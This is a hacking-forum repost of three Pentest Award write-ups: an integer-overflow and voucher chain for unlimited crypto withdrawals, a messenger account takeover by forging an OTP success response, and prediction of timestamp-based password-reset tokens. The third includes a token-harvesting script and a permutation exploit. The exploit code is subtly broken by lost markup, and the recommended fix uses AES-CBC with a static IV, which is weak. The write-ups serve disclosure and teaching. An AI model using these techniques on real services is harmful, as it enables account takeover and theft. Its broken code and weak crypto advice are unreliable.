• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Три исследования логических багов, получившие Pentest Award

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы публикуем три работы, получившие Pentest Award в номинации Fuck the Logic. В первой речь пойдет о баге, позволявшем бесконечно выводить деньги с криптобиржи, во второй — о захвате чужих аккаунтов в некой соцсети, в третьей — о ловком реверсе токенов приложения.

Pentest Award​

Для просмотра ссылки Войди или Зарегистрируйся — премии для специалистов по тестированию на проникновение, которую учредила компания Awillix. Мы публикуем лучшие работы из каждой номинации.

Четвертое место: «Уязвимость переполнения целочисленной переменной и возможность без ограничений выводить средства на криптокошелек»​

  • Автор: arteb123
При исследовании приложения мы нашли уязвимость в функции вывода средств из личного кабинета. Баг заключается в переполнении целочисленной переменной, что позволяло получить отрицательное значение счета.

При этом ненулевое отрицательное значение счета позволяло создать ваучеры с уже положительной суммой валюты и неограниченно вывести внутреннюю валюту на внешний криптокошелек. Для этого недобросовестному пользователю было достаточно обналичить ваучеры на втором созданном аккаунте.

Пример эксплуатации выглядел следующим образом. Во время вывода средств из личного кабинета с помощью одной из криптовалют создается тикет с указанием суммы (с расчетом комиссии) и внешнего криптокошелька.

Для просмотра ссылки Войди или Зарегистрируйся
При этом указанная сумма для вывода средств должна была быть целочисленной и не быть меньше нуля или равной нулю.

Тем не менее при обработке запросов на стороне сервера была допущена ошибка: значение переменной cashpoints, с помощью которой уменьшалось значение суммы счета на аккаунте, позволяло передать значение, превышающее значение int.

Для просмотра ссылки Войди или Зарегистрируйся
В результате этой ошибки при отправке запроса на вывод средств на сервер можно было передать очень большое значение переменной cashpoints. Это производило переполнение целочисленного значения счета и делало его отрицательным (при этом в интерфейсе значение счета отображалось как положительное).

Для просмотра ссылки Войди или Зарегистрируйся
Так как запрос на вывод средств на криптокошелек требовал положительного значения, а счет был отрицательным, необходимо было придумать, как все же получить плюс. Так мы нашли функцию создания ваучеров на сайте. Она позволяет передавать другому пользователю код для пополнения счета. При этом проверки на отрицательное значение счета не происходит.

Создаем ваучеры с указанием суммы по ссылке:

[URL unfurl="true"]https://example.com/account/voucher/create[/URL]
При этом сумма отрицательного счета аккаунта увеличивается на это значение.

Создаем второй аккаунт и применяем созданные ваучеры:

[URL unfurl="true"]https://example.com/account/voucher/redeem[/URL]
В результате значение счета аккаунта увеличено на сумму, соответствующую ваучеру.

Создаем транзакцию, чтобы вывести деньги на внешний криптокошелек:

Для просмотра ссылки Войди или Зарегистрируйся>t
Для просмотра ссылки Войди или Зарегистрируйся
В результате получаем криптовалюту.

Для просмотра ссылки Войди или Зарегистрируйся
Так можно было бесконечно создавать ваучеры, обналичивать их на втором аккаунте и выводить деньги.


Вывод​

Используя найденную цепочку уязвимостей, мы для демонстрации вывели средства, эквивалентные 8,26 и 4,13 доллара США. При этом первоначальный баланс обоих аккаунтов был равен нулю и пополнения кошельков не производилось.

Для владельцев сайта такая уязвимость — прямой риск финансовых потерь. Кража средств почти мгновенна и необратима.

Для устранения уязвимости мы порекомендовали проверять длину входных данных и отклонять транзакцию при слишком большом значении переменной. Для уязвимости с созданием ваучеров — проверять значение баланса счета на отрицательное значение.


Третье место: «Захват любого аккаунта в мессенджере»​

Эту уязвимость я нашел, исследуя приложение одной популярной региональной соцсети. Проблема заключается в том, что при авторизации пользователя в приложении при помощи SMS необходимые для успешного входа данные генерируются на стороне клиента. Злоумышленник, не имея доступа к телефону жертвы, может подделать цепочку запросов и ответов приложения и получить доступ к аккаунту жертвы.

Приложение доступно в виде версий для iOS и Android, как вариант можно использовать веб‑интерфейс. На момент написания этой статьи только на Android насчитывается более миллиона загрузок. Версия для iOS входит в топ-200 самых популярных приложений для общения в App Store.

Анализ программы производился методом черного ящика — на основе публично доступных приложений и веб‑клиента. При анализе приложений я обнаружил хорошо настроенный SSL Pinning. На Android его удалось частично обойти с помощью кастомизации скриптов Frida. На iOS разработчики использовали последние версии защитных функций, обхода для которых пока что нет.

Главной проблемой при исследовании стало то, что приложение использовало gRPC (на основе Protobuf) для общения с сервером. Поскольку тестирование происходило методом черного ящика, proto-файла с описанием структур у меня не было. Поэтому все найденные уязвимости были обнаружены в процессе ручного анализа proto-запросов.

Чтобы работать с gRPC, я использовал расширение Для просмотра ссылки Войди или Зарегистрируйся для Burp Suite. Однако версия из репозитория некорректно парсила поля запросов. Чтобы заставить ее нормально работать, пришлось модифицировать расширение, добавить сообщениям новый заголовок и изменить алгоритм парсинга поля Additional Data в gRPC.

Суммарно на обход SSL Pinning и модификацию расширения для Burp Suite ушла одна рабочая неделя. На ручной анализ gRPC и поиск уязвимостей в мессенджере — около трех недель. По ходу дела в приложении удалось найти три уязвимости высокого уровня опасности, одну — среднего и одну — низкого.


Принцип атаки​

Так как название полей было неизвестно, на схеме они представлены цифрами (идентификаторами полей).

Для входа в приложение вводится номер телефона пользователя и капча. В ответ сервер возвращает UUID сессии аутентификации.

Для просмотра ссылки Войди или Зарегистрируйся
Для входа в приложение пользователь должен ввести одноразовый код, полученный по SMS. Код отправляется с UUID, полученным из прошлого запроса.

При вводе неверного кода приложение вернет ответ 11. Это код ошибки, означающий, что неверно введен код OTP.

Для просмотра ссылки Войди или Зарегистрируйся
При верном коде в значении поля возвращается null, это значит, что код корректный. Если ошибки нет, приложение создает UUID #2 (помечен красным). И отправляет эти два UUID серверу, в ответ получая сессию.

Для просмотра ссылки Войди или Зарегистрируйся
Как видно из схемы, сервер не возвращает дополнительную информацию при отправке корректного кода. Поэтому я предположил, что UUID #2 генерируется только на основе времени.

Для проведения атаки я с помощью Burp Suite модифицировал ответ, который сервер возвращает при вводе неверного одноразового кода. Это позволило сгенерировать на клиенте верный UUID #2 для сессии и получить доступ к аккаунту.

Для просмотра ссылки Войди или Зарегистрируйся

Атака​

Шаг 1. Запрос на отправку SMS (создание новой сессии аутентификации)​

Первым вызывается метод SendCodeRecaptcha сервиса аутентификации (AuthService).

Запрос SMS выглядит следующим образом.

Для просмотра ссылки Войди или Зарегистрируйся
Этот gRPC-запрос в декодированном виде содержит два поля:
  • поле 1 — номер телефона (+79...);
  • поле 2 — reCAPTCHA (03A...).
Для просмотра ссылки Войди или Зарегистрируйся
Ответ сервера будет таким.

Для просмотра ссылки Войди или Зарегистрируйся
В декодированном виде ответ содержит два поля:
  • поле 2 — UUID сессии аутентификации, который будет использован при дальнейших запросах (e94f46ce-c9f1-11eb-9433-027eb92e4dfc);
  • поле 4 — секунды до того, как можно будет отправить еще одну SMS на тот же номер (120 секунд).
Для просмотра ссылки Войди или Зарегистрируйся

Шаг 2. Ввод одноразового кода из SMS​

Далее злоумышленник вводит случайный код подтверждения (OTP) и отправляет запрос.

Для просмотра ссылки Войди или Зарегистрируйся
Запрос на отправку кода подтверждения производится через метод VerifyCode сервиса аутентификации.

Для просмотра ссылки Войди или Зарегистрируйся
Запрос в декодированном виде содержит два поля:
  • поле 1 — UUID сессии аутентификации (содержимое поля 2 из ответа сервера на прошлом шаге);
  • поле 2 — код подтверждения из SMS (2345).
Для просмотра ссылки Войди или Зарегистрируйся
Злоумышленник перехватывает ответ сервера с ошибкой.

Для просмотра ссылки Войди или Зарегистрируйся
В декодированном виде ответ содержит поле 1 с ошибкой 11 (некорректный код из SMS).

Для просмотра ссылки Войди или Зарегистрируйся

Шаг 3. Подмена ответа сервера с ошибки на успешный​

Для атаки злоумышленник подменяет ответ сервера: вместо ответа с ошибкой придет сообщение об успешном вводе кода из SMS.

Для просмотра ссылки Войди или Зарегистрируйся
В декодированном виде:
  • поле 1 — определяет ошибки от сервера (пустой массив);
  • поле 2 — предположительно передает значение успеха о вводе кода (True).
Для просмотра ссылки Войди или Зарегистрируйся

Шаг 4. Генерация кода подтверждения и отправка запроса на вход в систему​

На основе успешного ответа JavaScript генерирует код подтверждения. Данные для входа в приложение отправляет метод SignIn сервиса аутентификации.

Для просмотра ссылки Войди или Зарегистрируйся
Расшифрованные данные содержат два поля:
  • поле 1 — UUID сессии аутентификации из прошлых запросов;
  • поле 3 — код подтверждения (UUID #2), генерируемый сайтом при успешном вводе кода из SMS.
Для просмотра ссылки Войди или Зарегистрируйся
В ответ на этот запрос сервер возвращает сообщение об успешном входе вместе с токеном JWT. Этот токен позволяет получить полный доступ к аккаунту жертвы.

Для просмотра ссылки Войди или Зарегистрируйся
Для проверки уязвимости я успешно вошел в аккаунт коллеги с его разрешения.

Выводы​

Итак, мне удалось продемонстрировать возможность захвата чужой учетной записи. Чтобы закрыть эту дыру, разработчику достаточно перенести на сервер генерацию данных, необходимых для входа в аккаунт. Когда я тестировал эту уязвимость во второй раз, механизм был переработан: генерация второго кода (UUID #2) теперь производится на основе одноразового кода и времени, количество отправок также ограничено.

info​

Автор работы, занявшей второе место, отказался от публикации по неизвестным причинам.

Первое место: «Абьюз работы токенов на основе временных меток»​

  • Автор: i_bo0om
В этом райтапе я разберу атаку на веб‑приложение, которое мы условно назовем TopApp. Одна из особенностей его API — это использование текущего значения времени в формате Unix в качестве уникального идентификатора.

Для просмотра ссылки Войди или Зарегистрируйся
Оно и верно, время назад не вернуть, оно число инкрементное, а количество операций вряд ли будет таким большим, чтобы вызвать исключительную ситуацию.

Вероятность генерации одного и того же уникального идентификатора достаточно мала, около 0,01% при условии, что две операции пройдут в одну и ту же секунду. А еще в идентификаторе сразу же фиксируется время операции.

Для просмотра ссылки Войди или Зарегистрируйся
Однако, зная время, когда произошла операция, мы имеем 100%-ю вероятность угадать этот идентификатор, так как для перебора идентификатора нам необходимо около 10 000 вариантов.

Именно из‑за этого опасны такие уязвимости, как небезопасная ссылка на объект.

Например, доступ к идентификатору через ресурс top-secret для пользователя без аутентификации.

[URL unfurl="true"]https://top-secret.com/order/15912220586459?json=true[/URL]
Для просмотра ссылки Войди или Зарегистрируйся
Причем время фигурирует не только в идентификаторе платежей, но и в идентификаторе пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
Однако есть и секреты — такие как идентификатор сессии (на скриншоте выше это skey — 28 символов) и ключ восстановления пароля, ключи к API.

Начнем с кода восстановления пароля. После запроса кода нам приходит следующее письмо.

Для просмотра ссылки Войди или Зарегистрируйся
Очень странный токен, учитывая, что сам сайт написан на Django.

Сначала я изучил модуль django-rest-passwordreset, в нем есть уязвимость, при которой токен подходит к любому почтовому адресу, а пару лет назад в изучаемом движке была такая же уязвимость. Но токен восстановления совершенно другой.

В Django есть разные форматы токенов и путей к восстановлению паролей.

В версии 1.11:

reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$
В версии 1.8:

^reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$
3.0 использует такую ссылку:

accounts/reset/<uidb64>/<token>/
В нашем случае это [0-9].

14 байт — это много комбинаций, пусть даже из цифр, это нереально перебрать онлайн.

Часто для генерации токенов используют Для просмотра ссылки Войди или Зарегистрируйся, например тот же mt_rand. Ломать рандомы обычно очень весело, потому что никто не понимает, как работает криптография, а потом все очень удивляются, как можно было предсказать случайное значение.

Для начала изучения нам нужно было сравнить возможные токены, проверить на инкрементность и другую предсказуемость.

Для этого мы подняли собственный SMTP-сервер, что облегчает работу с текстом письма. Запросили 10 000 кодов восстановления паролей, только вот сами письма шли много часов, а дошло около 1500. Но этого было достаточно.

Для просмотра ссылки Войди или Зарегистрируйся
На вид нет ничего необычного, но, если отсортировать токены, будет понятно, что что‑то не так.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Первая мысль — это собственная реализация Для просмотра ссылки Войди или Зарегистрируйся (LCG).

Мы попробовали несколько запросов для эксплуатации состояния гонки (race condition) и отправили несколько токенов.

Идея была в том, что, если отправить два запроса на восстановление пароля (на собственную почту и жертве), придут одинаковые или минимально различимые коды.

После множества попыток мы получили максимальное приближение:
  • почта 1: 567 94 300990116;
  • почта 2: 567 56 301990116.
Но в большинстве случаев числа слишком разные и знание одного числа не дает точной информации о другом, поэтому получить пароль жертвы нельзя даже теоретически.

И все же эти токены не давали покоя. Как будто есть какое‑то правило, которое привязано к чему‑то цикличному. Формат токена не повторяется последовательно, но повторяется время от времени.

Итак, что может быть цикличным и повторяться с изменением времени? Ну да, времена года. А еще? На самом деле ответ был в самом вопросе — это время. Часы, минуты, секунды.

Все станет понятно, как только посмотришь на время сервера. Именно тут начинается магия.

В ответе всегда есть заголовок Date.

Для просмотра ссылки Войди или Зарегистрируйся
Что делаем?

  1. Запрашиваем пароль.
  2. Смотрим, что в ответе веб‑приложения есть заголовок Date: Date: Mon, 08 Jun 2020 08:14:10 GMT.
  3. Переводим эту дату в timestamp (есть Для просмотра ссылки Войди или Зарегистрируйся). В данном случае это будет 1591604050.
  4. Сравниваем с полученным кодом — 50501015409368.
А теперь посмотри на цифры внимательно.

Чтобы было понятнее, посимвольно отсортируем оба значения.

Код — 00001134555689. Заголовок Date — 0001145569.

Код восстановления — 50501015409368, это время 1591604050 + 5038, где четыре цифры — либо что‑то случайное, либо миллисекунды.

Цифры — забавная штука. Вот мы знаем, из чего состоит код, но угадать его не можем. Непонятно, каким образом формируется код, потому что, даже если мы знаем все 14 символов, у нас 87 178 291 200 вариантов комбинации их перестановки.

Для исследования я написал сценарий, который забирал время сервера и токены, чтобы записать их в базу данных SQLite.

Код:
import asyncio
import aiosqlite
import logging
import sqlite3
import requests
from aiosmtpd.controller import Controller

# tbl_empty = 'DELETE FROM emails;'
tbl = '''
CREATE TABLE IF NOT EXISTS emails (
    id    INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
    data  TEXT,
    token TEXT,
    date  DATETIME DEFAULT CURRENT_TIMESTAMP
);
'''

tbl_ts = '''
CREATE TABLE IF NOT EXISTS timestamps (
    id    INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,
    serverdate TEXT
);
'''

cookies = {
    'csrftoken': 'mCR8a2gnBrliEVp1F2KlKYxSC9yfXdpWDXyMQNJvAq56ulnieVnhb3LTTcc2T4aQ',
}

postdata = {
    'csrfmiddlewaretoken': 'HS1bHsCw7WKfAMnb4718xgM4PjVkrDLjYdIPnd5E6Vu3qclsD0E4Yl056mz7nuwd',
    'email': 'shaitan@24radio.ru'
}

headers = {
    'Referer': 'https://top-secret.com/'
}

url = 'https://top-secret.com/request_password_recovery'


async def sendmsg():
    r = requests.post(url, data=postdata, cookies=cookies, headers=headers)
    await ins_ts_data(r.headers['Date'])

ins = 'INSERT INTO emails(data,token) VALUES (?,?)'
ins_ts = 'INSERT INTO timestamps(serverdate) VALUES (?)'

async def ins_data(d, t):
    db = await aiosqlite.connect('emails.db')
    await db.execute(ins, (d, t,))
    await db.commit()
    await db.close()

async def ins_ts_data(t):
    db = await aiosqlite.connect('emails.db')
    await db.execute(ins_ts, (t,))
    await db.commit()
    await db.close()

class CustomHandler:
    cnt = 0

    async def handle_DATA(self, server, session, envelope):
        peer = session.peer
        mail_from = envelope.mail_from
        rcpt_tos = envelope.rcpt_tos
        data = envelope.content
        tkn_f = data.find(b'token=')
        if tkn_f >= 0:
            await ins_data(data, data[tkn_f+6:tkn_f+20])
            await sendmsg()
            self.cnt += 1
            print(self.cnt)
        return '250 OK'

if name == 'main':
    logging.getLogger("asyncio").setLevel(logging.INFO)
    logging.getLogger("asyncio").info("TEST")
    conn = sqlite3.connect('emails.db')
    conn.execute(tbl)
    conn.execute(tbl_ts)
    conn.commit()
    r = requests.post(url, data=postdata, cookies=cookies, headers=headers)
    conn.execute(ins_ts, (r.headers['Date'],))
    conn.commit()
    conn.close()
    handler = CustomHandler()
    controller = Controller(handler, port=25)
    # Run the event loop in a separate thread
    controller.start()
    # Wait for the user to press Return
    input('SMTP server running. Press Return to stop server and exit.')
    controller.stop()
В результате удалось собрать около 150 токенов восстановления и значений времени:

30593017099328 - 1593200939 => 7038
92945501325007 - 1593200945 => 2507
54042258990136 - 1593200954 => 4286
55082265990136 - 1593200965 => 8256
74123809495043 - 1593200974 => 8443
80123709695003 - 1593200980 => 7603
31200950996001 - 1593200990 => 6001
90018923709459 - 1593200997 => 8049
01123800995143 - 1593201004 => 8913
21151066940230 - 1593201016 => 6420
98023511322077 - 1593201023 => 8277
36123400495113 - 1593201031 => 6443
09193153200264 - 1593201039 => 0264
56098248901136 - 1593201046 => 8896
04195153230314 - 1593201054 => 3314
01261739005825 - 1593201062 => 7085

А теперь обратимся к комбинаторике. Мы знаем, что у нас есть время (10 байт) и четыре цифры. Сортировка столбцов происходит по каким‑то правилам. Так как это не функция свертки, веб‑приложение должно видеть, по какому правилу нужно разложить ключ, чтобы получить искомое значение (дату).

Попробуем поискать аномалии токенов. Если последний символ ключа нулевой, то мы видим некоторую аномалию среди всех подобных токенов, это числа 51 и 23.

Нам нужно смотреть именно на начало таймстемпа, потому что строка 15932 статична.

Для просмотра ссылки Войди или Зарегистрируйся
А вот что будет, когда последняя цифра — тройка.

Для просмотра ссылки Войди или Зарегистрируйся
Такая же аномалия с 123 и 95.

Это значит, что на самом деле генерируется 13 символов timestamp, это время + миллисекунды, последнее случайное число отвечает за алгоритм перестановки.

Собираем данные для каждого токена, получаем такой эксплоит:

Код:
import calendar, time;

date = "Sun, 05 Jul 2020 13:59:22 GMT"

def permute(t, inv=False):
 if t[-1] == "0": perm = [4,3,8,12,11,5,2,10,1,6,0,9,7,13]
 if t[-1] == "1": perm = [0,6,8,1,2,12,4,5,9,3,7,11,10,13]
 if t[-1] == "2": perm = [3,1,10,5,8,12,4,0,7,11,9,2,6,13]
 if t[-1] == "3": perm = [2,10,9,4,3,6,11,7,0,12,8,1,5,13]
 if t[-1] == "4": perm = [2,6,3,7,8,10,5,0,4,1,9,11,12,13]
 if t[-1] == "5": perm = [1,10,7,6,2,0,4,9,3,12,8,5,11,13]
 if t[-1] == "6": perm = [11,0,8,12,5,2,10,9,6,1,4,7,3,13]
 if t[-1] == "7": perm = [7,5,0,8,9,11,6,2,3,4,12,10,1,13]
 if t[-1] == "8": perm = [4,2,10,6,12,1,8,9,0,3,5,7,11,13]
 if t[-1] == "9": perm = [3,12,0,7,6,9,1,10,5,8,11,2,4,13]
 assert list(sorted(perm)) == list(range(14))
 if inv:
  perm = [perm.index(i) for i in range(14)]
 return "".join(t for i in perm)

for i in range(10000):
 print (permute(str(calendar.timegm(time.strptime(date, '%a, %d %b %Y %H:%M:%S GMT')))+"{0:04}".format(i), inv=True))

Для демонстрации можно взять любой email, который зарегистрирован на сайте с этим движком, и запросить восстановление пароля.

Для просмотра ссылки Войди или Зарегистрируйся
Копируем значение заголовка Date и вставляем его в код эксплоита.

Для просмотра ссылки Войди или Зарегистрируйся
Выполнив эксплоит, сохраняем полученные токены и смотрим в письмо. Убеждаемся, что один из наших токенов совпадает с тем, что пришел в письме.

Ах да, что там у нас было еще секретного?

Вернемся к этому скриншоту.

Для просмотра ссылки Войди или Зарегистрируйся
Здесь id — это время.

Собираем skey:


Код:
8979529143354119210935903611
4476293516911019210935903611
5265099351791619210935903611
0390996461518719210935903611
3215920613914919210935903611
7769931151012919210935903611
4936693510915119210935903611
8919116173056119210935903611
Время + ID пользователя?

Akey, судя по виду, — это SHA-256 от... времени?

Все идентификаторы, включая секреты, значения которых должны быть криптографически стойкими и уникальными, — это время. Считать ли это бэкдором? Не знаю.




Как это можно пофиксить

Насколько я понимаю, никто переделывать текущую архитектуру не будет, поэтому, если совсем не хочется использовать криптографически стойкие генераторы случайных чисел, стоит рассмотреть хотя бы шифрование на уровне клиентских запросов.

Как это может выглядеть? Для каждого домена генерируется специальный ключ, который шифрует значение timestamp и расшифровывает строки обратно.


Код:
$plaintext = 51910139060232;
$password = 'Hello 123';
$method = 'aes-256-cbc';
$key = substr(hash('sha256', $password, true), 0, 32);
echo "Password: " . $password . "\n";

Код:
// Вектор инициализации должен быть кратен длине ключа.
// Он на самом деле может быть ненулевым, также он не является секретом, и его, по идее, можно передавать в открытом виде.
// А раз его можно передавать, можно держать его статичным, хотя если менять его — меняется шифротекст.
$iv = chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3) . chr(0x0) . chr(0x1) . chr(0x2) . chr(0x3);

echo 'plaintext ' . $plaintext . "\n";
echo 'encrypted (base64_encode) to: ' . base64_encode(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";
echo 'encrypted (hex) to: ' . bin2hex(openssl_encrypt($plaintext, $method, $key, OPENSSL_RAW_DATA, $iv)) . "\n";

$decrypted = openssl_decrypt(base64_decode("QzEIPRoI6RllFGnAG0z0PQ=="), $method, $key, OPENSSL_RAW_DATA, $iv);
В результате на бэкенде текущая архитектура будет продолжать работать в том же виде, что и сейчас, но все строки с датой будут заменены криптостойкими хешами вида 71ccca0995eebbc9315547f2ca76ee67 (или cczKCZXuu8kxVUfyynbuZw==, кому как больше нравится), которые не расшифровать без ключа. Ну или можно просто генерить криптостойкие строки.
 
Activity
So far there's no one here
Сверху Снизу